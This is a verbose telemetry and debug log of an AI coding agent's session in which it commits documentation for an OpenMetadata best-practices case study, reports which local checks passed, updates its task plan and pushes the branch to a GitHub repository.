\n[2026-07-12T04:07:51.912Z] [INFO] 2026-07-12T04:07:51.910671Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_nwniVhZ5EAUKmGKFAhVedSdc arguments=const r=await tools.exec_command({cmd:\"git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:07:51.912Z] [INFO]  duration_ms=299 success=true output=Script completed\n[2026-07-12T04:07:51.912Z] [INFO] Wall time 0.3 seconds\n[2026-07-12T04:07:51.912Z] [INFO] Output:\n[2026-07-12T04:07:51.912Z] [INFO] \n[2026-07-12T04:07:51.912Z] [INFO] [issue-5-e2602184e2c5 4dcfb8e] docs: analyze OpenMetadata best practices\n[2026-07-12T04:07:51.912Z] [INFO]  8 files changed, 765 insertions(+), 1 deletion(-)\n[2026-07-12T04:07:51.912Z] [INFO]  delete mode 100644 .gitkeep\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/README.md\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:07:51.912Z] [INFO]  create mode 100644 docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:07:51.912Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5 [ahead 1]\n[2026-07-12T04:07:51.912Z] [INFO] 4dcfb8e (HEAD -> issue-5-e2602184e2c5) docs: analyze OpenMetadata best practices\n[2026-07-12T04:07:51.912Z] [INFO] e4aaa28 (origin/issue-5-e2602184e2c5) Initial commit with task details\n[2026-07-12T04:07:51.912Z] [INFO] 04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\n[2026-07-12T04:07:51.912Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:51.910Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.912Z] [INFO] 2026-07-12T04:07:51.910728Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_nwniVhZ5EAUKmGKFAhVedSdc duration_ms=299 success=true arguments_length=280 output_length=980 output_line_count=18 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:51.910Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.912Z] [INFO] 2026-07-12T04:07:51.910961Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_nwniVhZ5EAUKmGKFAhVedSdc tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=299 total_duration_ms=299\n[2026-07-12T04:07:51.912Z] [INFO] \n[2026-07-12T04:07:51.964Z] [INFO] 2026-07-12T04:07:51.963700Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:51.964Z] [INFO] \n[2026-07-12T04:07:52.009Z] [INFO] 2026-07-12T04:07:51.984842Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:51.984Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:52.009Z] [INFO] 2026-07-12T04:07:51.984998Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:51.984Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:52.009Z] [INFO] 2026-07-12T04:07:51.985017Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:52.009Z] [INFO] \n[2026-07-12T04:07:52.020Z] [INFO] 2026-07-12T04:07:51.993946Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:52.020Z] [INFO] \n[2026-07-12T04:07:52.051Z] [INFO] 2026-07-12T04:07:52.050277Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:52.051Z] [INFO] \n[2026-07-12T04:07:52.052Z] [INFO] 2026-07-12T04:07:52.051320Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:52.052Z] [INFO] \n[2026-07-12T04:07:52.064Z] [INFO] 2026-07-12T04:07:52.060929Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:52.064Z] [INFO] \n[2026-07-12T04:07:52.154Z] [INFO] 2026-07-12T04:07:52.153335Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:52.154Z] [INFO] 2026-07-12T04:07:52.153471Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:52 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"5ef05927-597a-4c06-89d9-64f63a4ce82a\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=feHTKFeyAcbp2u9W799WxCDJbB7Oc1sy%2FpsViJ%2BJmYgi8W%2FGZW6FrnJsVgWqDAsU9N6EC5fg%2BukOMuZZ646kbuo%2F5%2BCKDqdq4rYgUE0P4a9bWyxSYFsXupMcULAK\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2ef67f6b74e3-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:52.154Z] [INFO] \n[2026-07-12T04:07:52.972Z] [INFO] 2026-07-12T04:07:52.971513Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a531318f50c819197639eecc8c59e8c\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMYdDLNhSxs3PJXShZVOJnIPkqEsFKD_XFNWzRQwao6otHIX0uCJB7WsVMUl5eiTVaYmsz2Mv9BaI2g-HxwMwL0IdbS5kQiecUG1I5EbhEuN20kWrP-Uh7lbqjAP3wryiCboSJF_Gp7yb2rkmHmoe7qMHJ8eu2tOX1kCjYTti610iaNOdIEKrGHcwLuxpULjQ5cWpqEXpLadlGdT8bBtNJh-y9Kr1goA1DzVx37n6Eqzvt_e8PSBpcgCBLRNA7gYJV29QNuk1GrEhz3M3fyHdMQNdiGBbVgIvYHLBnvRlJCpdv1tSefT0LnG5-Y0EqdRiC1xjgD8VQifbg3jU8Yf1z-zPOfFxLq9Th2yTzpyHLS9asiwmKyHcg8qDdA0KtKyD44l4JrJ6MUTXyhhAWiosajsUgU3K-ynwUvUtWKsRmlSxMqGdcjIG1FH87Nqu2okRDgoyUdn8MIODjncl19rZyS0WHCjmUS8pvn7rz0EJYsau9cEWd4tGygifYp579O43ZVZBcloaGUC10eqq8JQ1MFzz7zhW93YAMQxsQZxYW2T5fnuOs04RcdLrfVnxbyqLKeYq3qU3TgJS6_H6TxYZroEKUDbPsz341eTbLLdP9m69iJhYKqo_7DwwwKD1cH0g-0nLuiIjqChNwvjW7K6L5KU1J5KrZNDTUkxHL-Pwg5p4UkwCnKQJ3_Gyx_w-WnCNm8ePxTdADPX8p_PuNWGrVt-nJw7fojIOADEjDQ9r-ONQfx3n0YQOHNpibScZGO7C6HAHE4-T25C-WVBekNXPPTN338e3aasWJcX0t7V62Tv2HxCIvnjsl306YjM7pS3ck1AGKTluLIr3sPKMy6E6E2Ap6kbT3e-sSBt76vSi_aZ2-GUNzgd9eYSJjRHj2R3mOmvBYZti99AuBCDY4aAcQSaQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:52.972Z] [INFO] \n[2026-07-12T04:07:53.860Z] [INFO] 2026-07-12T04:07:53.860252Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a531318f50c819197639eecc8c59e8c\"), summary: [SummaryText { text: \"**Pushing changes and updating PR details**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMZzfdrrKN67tzIeD3I_5kWcKkG5xwSxDoKoJy0dmCRYAgHVGJgwMOY_0lLG88qLcE7R3D0REQARz3tyy0I_78F4foQLscITDf0Sbkg5Veim7Ycg6DAxqpE2e8e9D45OVRLP7mc_7PH1-1STz0k5EdwjLQ6UOfDKj5eK5B_QAkBdOXNL60vcUS-weQb6nqwbiQWVH6rspyyr6GODVDu8FhpbopxlfZ6o90WhUXR3dWOXXesNQlO8c5lWw9Xt8c43CuZvMjvVhpRia-3ILsaF0qjnDT93vFknNp_wMbIBkeK1KnTo6_QTDyKAb4tFs-X-ne1Z0yl4BQ8c_8tRRXyUb-HpU-PjGU6nYoj1X7tQLS-UDpCZoFzLmmnDjBn-zM0ZGWwa335dBdJSMondQoiO3Tm_wLSQXSazpoYoW5etmO3cR9VW3ofg7geFAouayl-F8tGNEFxQ3fFaNHimBdXz9ax5Ry5w0rdT-oVeUU07yS4xPGNfaV5D_GRZPEJfnnHn1urUBpEBkwVTanXsH4CgqEJ0IiAN3zSK6yb8nAPYtZxgnQJJ6CUnVESICUVePo3Mdw-fRXYp4qEPlp3A9-Rh7rB7YzjpeMxs_TlAMFTClhmZWVgVx8Zm3in14ZiWTz4W1gOHyTQgTNEzHmbQ2F_QCez2nfG93my-XsA2WYByPXDQbDYm1dhumYSdEsmQpdIZPrhmJ0XJc-ip6ZOoHMc8RdEoNn0Y4T9zKTcIJCD_4-cfJ-S06FaG-RjXXy0ZQPqKahFUD_hx369eWtJ9RR0iB1wjiEKUOxTYwZTkioK2quRbTDtOqlkiJvDaJxilM9R5NIQwz5744q_0o4Ypb5g5znwWfkiDnsAWus9cRfoZacBkvlVHh7o_8-5igdQ5K2PH2z9wg3sbw6k1-Sy8FUUdMXAlnvocpJvdQLxTc9o8E5PhNbo0gH8bnBkcjEwO2f-oIth_CnaY8MCtr3CqC9mZq6ZoxMqJ2DHXHu32_2krruxgtxUWhBzsvIuA3UUkPNbbUhL66k-K27iSwFnAZ_D_Dwhjw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:53.860Z] [INFO] \n[2026-07-12T04:07:53.862Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_46\",\"type\":\"reasoning\",\"text\":\"**Pushing changes and updating PR details**\"}}\n[2026-07-12T04:07:53.862Z] [INFO] \n[2026-07-12T04:07:53.862Z] [INFO] 2026-07-12T04:07:53.862080Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a531319cd608191bab163960fba5820\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:53.862Z] [INFO] \n[2026-07-12T04:07:54.988Z] [INFO] 2026-07-12T04:07:54.987377Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a531319cd608191bab163960fba5820\"), role: \"assistant\", content: [OutputText { text: \"All executable checks pass (`fmt`, all-feature tests, doc tests, Clippy, and README ontology coverage). The prescribed `rust-script` executable is unavailable locally, so I independently reproduced its only check and confirmed every Rust file is below 1,000 lines; CI will run the canonical script. The branch already contains the latest `origin/main`, and the reviewed commit is clean.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:54.988Z] [INFO] \n[2026-07-12T04:07:54.992Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_47\",\"type\":\"agent_message\",\"text\":\"All executable checks pass (`fmt`, all-feature tests, doc tests, Clippy, and README ontology coverage). The prescribed `rust-script` executable is unavailable locally, so I independently reproduced its only check and confirmed every Rust file is below 1,000 lines; CI will run the canonical script. The branch already contains the latest `origin/main`, and the reviewed commit is clean.\"}}\n[2026-07-12T04:07:54.992Z] [INFO] \n[2026-07-12T04:07:54.993Z] [INFO] 2026-07-12T04:07:54.988668Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53131af8c48191bb4712f165929bcd\"), status: Some(\"in_progress\"), call_id: \"call_d0QW4zGIn7pSITRxZfSmRTYP\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:54.993Z] [INFO] \n[2026-07-12T04:07:59.937Z] [INFO] 2026-07-12T04:07:59.933084Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const u=await tools.update_plan({explanation:\"The staged diff was reviewed in full and committed. All available local checks pass; the rust-script binary is unavailable, so its file-size logic was independently reproduced and passed. origin/main is already an ancestor of the branch.\",\"plan\":[\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"completed\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"in_progress\"},\n[2026-07-12T04:07:59.937Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:07:59.937Z] [INFO] ]});\n[2026-07-12T04:07:59.937Z] [INFO] const r=await tools.exec_command({cmd:\"git push origin issue-5-e2602184e2c5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:07:59.937Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:59.937Z] [INFO] \n[2026-07-12T04:07:59.958Z] [INFO] 2026-07-12T04:07:59.947862Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313180a7481919ef0f8de5a790233\"\n[2026-07-12T04:07:59.958Z] [INFO] 2026-07-12T04:07:59.947920Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=75714 output_token_count=380 cached_token_count=74496 reasoning_token_count=20 tool_token_count=76094 ttft_ms=979 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:59.947Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:59.958Z] [INFO] 2026-07-12T04:07:59.947942Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=75714 output_token_count=380 cached_token_count=74496 reasoning_token_count=20 tool_token_count=76094 ttft_ms=979 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:59.947Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:59.958Z] [INFO] \n[2026-07-12T04:08:00.046Z] [INFO] 2026-07-12T04:08:00.045846Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-0b4e40fc-30e9-4a25-af4b-31eddc2b5461 arguments={\"explanation\":\"The staged diff was reviewed in full and committed. All available local checks pass; the rust-script binary is unavailable, so its file-size logic was independently reproduced and passed. origin/main is already an ancestor of the branch.\",\"plan\":[{\"step\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"status\":\"completed\"},{\"step\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"status\":\"completed\"},{\"step\":\"Implement the smallest complete fix and any required release metadata\",\"status\":\"completed\"},{\"step\":\"Run focused tests and full local CI checks; review the complete diff\",\"status\":\"completed\"},{\"step\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"status\":\"in_progress\"},{\"step\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"status\":\"pending\"}]} duration_ms=0 success=true output=Plan updated mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:00.045Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:00.046Z] [INFO] 2026-07-12T04:08:00.045902Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-0b4e40fc-30e9-4a25-af4b-31eddc2b5461 duration_ms=0 success=true arguments_length=910 output_length=12 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:00.045Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:00.046Z] [INFO] \n[2026-07-12T04:08:00.052Z] [INFO] {\"type\":\"item.updated\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":true},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":true},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":true},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":true},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":false},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":false}]}}\n[2026-07-12T04:08:00.052Z] [INFO] \n[2026-07-12T04:08:00.059Z] [INFO] 2026-07-12T04:08:00.051189Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-ee07e672-c29c-462d-af30-1f58a8ea7473 decision=approved source=Config event.timestamp=2026-07-12T04:08:00.051Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:00.059Z] [INFO] \n[2026-07-12T04:08:00.232Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_48\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'git push origin issue-5-e2602184e2c5'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:00.232Z] [INFO] \n[2026-07-12T04:08:01.680Z] [INFO] 2026-07-12T04:08:01.680373Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-ee07e672-c29c-462d-af30-1f58a8ea7473 arguments={\"cmd\":\"git push origin issue-5-e2602184e2c5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000} duration_ms=1629 success=true output=Chunk ID: bc3dd8\n[2026-07-12T04:08:01.680Z] [INFO] Wall time: 1.4485 seconds\n[2026-07-12T04:08:01.680Z] [INFO] Process exited with code 0\n[2026-07-12T04:08:01.680Z] [INFO] Original token count: 31\n[2026-07-12T04:08:01.680Z] [INFO] Output:\n[2026-07-12T04:08:01.680Z] [INFO] To https://github.com/link-foundation/meta-ontology.git\n[2026-07-12T04:08:01.680Z] [INFO]    e4aaa28..4dcfb8e  issue-5-e2602184e2c5 -> 